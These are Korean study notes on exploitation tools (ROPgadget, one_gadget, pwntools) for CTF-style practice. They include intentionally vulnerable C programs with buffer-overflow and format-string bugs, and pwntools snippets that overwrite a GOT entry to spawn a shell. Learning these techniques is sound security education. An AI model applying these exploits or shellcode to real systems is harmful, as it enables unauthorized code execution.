9강 Tools
9.1 ROPgadget
objdump 등을 통한 디스어셈블리 결과에서 코드 가젯을 찾는 것은 오래 걸리기 때문에 바이너리에서 ROP에 필요한 코드 가젯을 찾아주는 도구인 ROPgadget를 사용한다.
#pip install ropgadget
설치 여부는 아래와 같이 확인할 수 있다.
$which ROPgadget /usr/local/bin/ROPgadget</p
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
void gadget() {
asm("pop %rdi");
asm("pop %rsi");
asm("pop %rdx");
asm("pop %rax");
asm("ret");
}
void gadget2() {
asm("syscall");
}
int main()
{
return 0;
}
|
cs |
위 코드는 pop와 syscall 가젯이 삽입된 예제 코드로 ROPgadget의 - -binary 옵션을 사용하면 바이너리에서 ROP에 유용한 코드 가젯을 찾을 수 있다.
ROP 가젯들과 그 주소가 출력된 것을 확인할 수 있는데, libc.so.6 라이브러리와 같은 코드의 크기가 큰 파일은 코드 가젯이 많기에 - -opcode 옵션을 사용해 원하는 코드 가젯 바이트 코드의 주소를 찾을 수 있다.
또는,
ROPgadget --binary (파일명) | grep '(찾을 가젯)'
9.2 one_gadget
라이브러리 내 존재하는 원샷 가젯은 리눅스 시스템에서 별다른 인자 설정 없이 pc를 바꾸는 것으로 셸을 실행시켜 주는 코드 가젯이다. one_gadget을 사용하면 라이브러리에서 원샷 가젯의 주소와 해당 가젯의 동작 조건을 알 수 있다.
원샷 사젯은 리눅스의 경우 libc.so.6 라이브러리 파일에만 존재하는 가젯으로 execve 시스템 콜을 호출할 때 "/bin/sh" 문자열을 첫 번째 인자로 전달하기 때문에 특정 조건에서 셸을 획득할 수 있다.
one_gadget /lib/x86_64-linux-gnu/libc.so.6
9.4 pwntools
스크립트 언어인 파이썬은 익스플로잇에 자주 사용된다.
from pwn import *
- remote : 원격 서비스에 접속해 통신할 때 사용되는 클래스
p = remote("[호스트 주소]", [포트 번호])
p = remote("127.0.0.1",5000, typ='udp')
[+] typ에 udp 옵션을 전달하면 UDP 연결을 맺을 수 있다.
- process : 로컬 프로세스를 실행하여 통신할 때 사용되는 클래스
p = process("[바이너리]")
로컬 파일시스템에 존재하는 바이너리를 실행한다. process 클래스는 로컬에서 바이너리를 실행할 때 환경 변수를 직접 설정하거나 프로그램을 실행할 때 인자를 전달할 수 있다.
- ssh : ssh 서버에 접속해 통신할 때 사용되는 클래스
p = ssh("[계정이름]","[호스트 주소]", port=[포트 번호], password="[pw]")
위 코드로 [호스트 주소] 서버에 [계정이름] 계정으로 ssh 로그인을 하여 연결할 수 있다.
- send/recv : 소켓에 연결하거나 프로그램을 실행할 때 데이터를 보내고 읽어들이는 작업을 하는 메소드 (해당 메소드 경우 연결이 맺어진 객체가 존재해야 사용 가능)
p.send("[보낼 문자열]") p.sendline("[보낼 문자열]")
send는 연결이 맺어진 객체에 데이터를 보내는 메소드로, sendline은 +\n 을 송신한다.
p.recv("[받은 문자열 바이트]") p.recvline() p.recvuntil("[~까지 읽어들인 문자 혹은 문자열]")
recv는 연결이 맺어진 객체로부터 수신한 데이터를 리턴하는 메소드, recvline은 읽을 바이트 수를 지정하지 않고 개행까지 읽어들인다. recvuntil은 연결이 맺어진 객체에서 원하는 문자 혹은 문자열까지 읽는 메소드이다.
process 함수를 통해 연결이 맺어진 객체는 send 메소드로 데이터를 보내면 stdin 으로 사용자가 입력한 것과 동일하고, recv 함수로 데이터를 읽으면 stdout로 출력된 문자열을 가져올 수 있다.
p.sendafter("[~까지 읽어들일 문자 혹은 문자열]","[보낼 문자열]") p.sendlineafter("[~까지 읽어들일 문자 혹은 문자열]","[보낼 문자열]")
send와 recv를 동시에 하는 메소드로 sendafter은 원하는 문자 혹은 문자열까지 읽은 뒤 데이터를 보내는 함수이다. sendlineafter 개행을 포함하는 데이터를 보낸다.
- pack/unpack : 각각의 데이터 크기에 맞게 데이터를 변환할 때 사용
패킹 함수는 정수를 인자로 받아 패킹한 후 문자열 형태로 리턴하는 반면 언패킹 함수는 문자열을 인자로 받아 언패킹 한 후 정수 형태로 리턴한다. 두 함수는 리틀 엔디언 혹은 빅 엔디언 형태로 지정해줄 수 있고, 기본값은 리틀 엔디언 형태로 변환한다. 데이터 크기에 따라 함수가 존재하기에 데이터에 맞게 사용하는 것이 필요하다.
p8(0x41) → A : 1 바이트의 데이터를 패킹하는 함수 p16(0x4142) → BA : 2 바이트의 데이터를 패킹하는 함수 p32(0x41424344) → DCBA : 4 바이트의 데이터를 패킹하는 함수 p64(0x4142434445464748) → HGFEDCBA : 8 바이트의 데이터를 패킹하는 함수 p32(0x41424344, endian='big') : 빅 엔디안으로 변환하기 위해서 두번째 인자를 endian='big' 을 명시해주면 된다.
u8("A") → 41 : 1 바이트의 데이터를 언패킹하는 함수 u32("ABCD") → 1145258561(0x44434241) : 4 바이트의 데이터를 언패킹하는 함수 u64("ABCDEFGH") → 5208208757389214273 : 8 바이트의 데이터를 패킹하는 함수 hex(5208208757389214273) → 0x4847464544434241
- ELF : ELF 헤더를 갖고 있는 파일의 경우 파일의 여러 데이터를 가져올 수 있음 (익스플로잇 코드 작성시 함수 주소, 문자열 주소 등을 구해야 함)
ELF의 인자로 파일 경로를 전달하면 해당 파일에 적용된 보호 기법을 알 수 있다.l
plt는 바이너리에 존재하는 PLT 주소를 가져온다.
got 는 바이너리에 존재하는 GOT 주소를 가져온다.
symbols 는 바이너리에 존재하는 함수의 주소를 가져온다.
search 는 바이너리에 존재하는 문자열의 주소를 가져온다.
get_section_by_name은 바이너리에 존재하는 섹션의 주소를 가져온다.
read는 원하는 바이너리 주소의 데이터를 읽어온다.
write는 원하는 바이너리 주소에 데이터를 쓴다.
- Assembly / Disassembly : 셸코딩을 하거나 특정 바이트의 디스어셈블리 결과를 보기 위해 사용
asm 함수는 명령어를 인자로 전달하면 바이트로 변환한다.
두 개 이상의 명령어도 변환할 수 있다.(명령어 구분자 사용)
disasm 함수는 특정 바이트를 명령어로 변환한다.
두 개 이상의 명령어도 변환할 수 있다.
asm, disasm 함수는 기본적으로 x86 아키텍처를 지원하지만, 시스템의 아키텍처마다 명령어 혹은 레지스터가 다르기 때문에 contect.arch를 사용해 원하는 아키텍처를 따로 지정할 수 있다.
- shellcraft : 원하는 시스템 콜과 인자를 지정해주면 셸코드를 작성해주는 기능
shellcraft.execve("/bin/sh",0,0) 을 사용하면 execve("/bin/sh",0,0)이 실행되는 디스어셈블리 명령어를 출력한다. 이를 셸코드로 변환하기 위해서 asm 함수 사용
- interactive : 연결이 맺어진 객체와 상호 작용을 할 수 있도록 하는 함수(사용자가 직접 명령어를 입력하고 출력된 결과를 확인할 수 있음)
- cyclic : 수많은 데이터를 입력해 리턴 주소가 덮였을 때 버퍼와 리턴 주소의 간격을 정확히 알아낼 수 있다. → 데이터를 바이트마다 다르게 하여 리턴 주소까지의 간격을 계산할 수 있다.
cyclic의 인자로 입력할 바이트의 수를 전달하면 4 바이트마다 다른 문자열로 1024 바이트의 문자열이 생성된다. n 옵션에 따라 바뀌는 바이트의 인덱스를 변경할 수 있다.
cyclic.index 는 생성된 문자열에서 인자로 주어진 문자열의 위치를 리턴한다.
1084 바이트 뒤에 0x6161616c66616161 문자열이 존재하는 주소가 있는 것을 알 수 있다.
- ROP : 코드 가젯을 연결해 실행하려는 코드를 작성해주는 기능
ROP는 각각의 아키텍처마다 호출 규약이 다르기 때문에 context.arch를 사용해 공격하는 바이너리의 아키텍처를 명시해야 한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
void gadget() {
asm("pop %rdi");
asm("pop %rsi");
asm("pop %rdx");
asm("ret");
}
int main()
{
char buf[256];
read(0, buf ,1024);
system("clear");
return 0;
}
|
cs |
ROP 기능을 사용해 셸을 획득하기 위해 바이너리의 정보를 가져와야 하기 때문에 ELF 함수가 필요하다. rop 변수에 ROP 클래스의 객체가 리턴되었다.
보기가 불편해서 가져왔다.
gadget 함수에 존재하는 pop rdi; pop rsi; pop rdx; ret 등의 가젯을 가져와 함수의 인자를 설정하고 read 함수를 호출하는 ROP 코드를 작성할 수 있다.
- fmtstr : 연산 필요 없이 주소와 값을 입력하면 해당 주소를 덮어쓸 수 있도록 할 수 있다. (포맷 스트링 버그는 출력한 바이트의 개수와 덮어쓸 값을 연산해 코드를 작성해야 하기 때문에 번거롭다는 단점을 보완)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
void giveshell() {
system("/bin/sh");
}
int main()
{
char buf[256];
read(0, buf, 256);
printf(buf);
exit(0);
}
|
cs |
위 코드는 256 바이트를 버퍼에 입력하고 포맷 스트링 버그가 발생하는 코드이다. exit_got 를 giveshell 함수의 주소로 덮으면 셸을 획득할 수 있다.
fmtstr 은 데이터를 보낼 함수와 printf 함수를 호출할 때의 esp로 부터 떨어진 인덱스 값을 인자로 주어야 한다.
위의 경우 7번째에 사용자가 입력한 값이 출력이 되었다.
1
2
3
|
def send_payload(payload):
print p.sendline(payload)
fmt = FmtStr(send_payload, offset=7)
|
cs |
fmt 변수에 객체를 할당하고,
1
2
3
|
exit_got = elf.got['exit']
giveshell = elf.symbols['giveshell']
fmt.write(exit_got,giveshell)
|
cs |
1
|
fmt.execute_writes()
|
cs |
하면 작성된 포맷 스트링 버그 익스플로잇 코드가 send_payload 함수를 통해 입력돼 셸을 획득한다!
Review(9강 Tools) ROPgadget : 바이너리에서 ROP 공격에 필요한 코드 가젯을 찾아주는 도구 one_gadget : libc.so.6 라이브러리 파일에 존재하는 원샷 가젯의 주소를 찾아주는 도구 pwntools : 익스플로잇 코드를 작성할 때 도움을 주는 도구로, 소켓과 프로세스 연결 및 데이터 전송과 셸코딩을 해줌
- 익스플로잇의 확률을 높여주는 NOP Sled 기법으로 수많은 NOP 명령어를 스택 등의 메모리에 저장한 후 NOP 명령어 중간으로 점프하면 NOP 명령어들을 넘어 NOP Sled 뒤 공격자의 셸코드 실행한다. NX bit
- 메모리에 쓰기 권한과 실행 권한을 동시에 부여하지 않도록 하는 보호기법으로 라이브러리 메모리에 존재하는 함수를 이용하여 공격하는 RTL을 통해 NX bit를 우회하는 방법을 배웠다.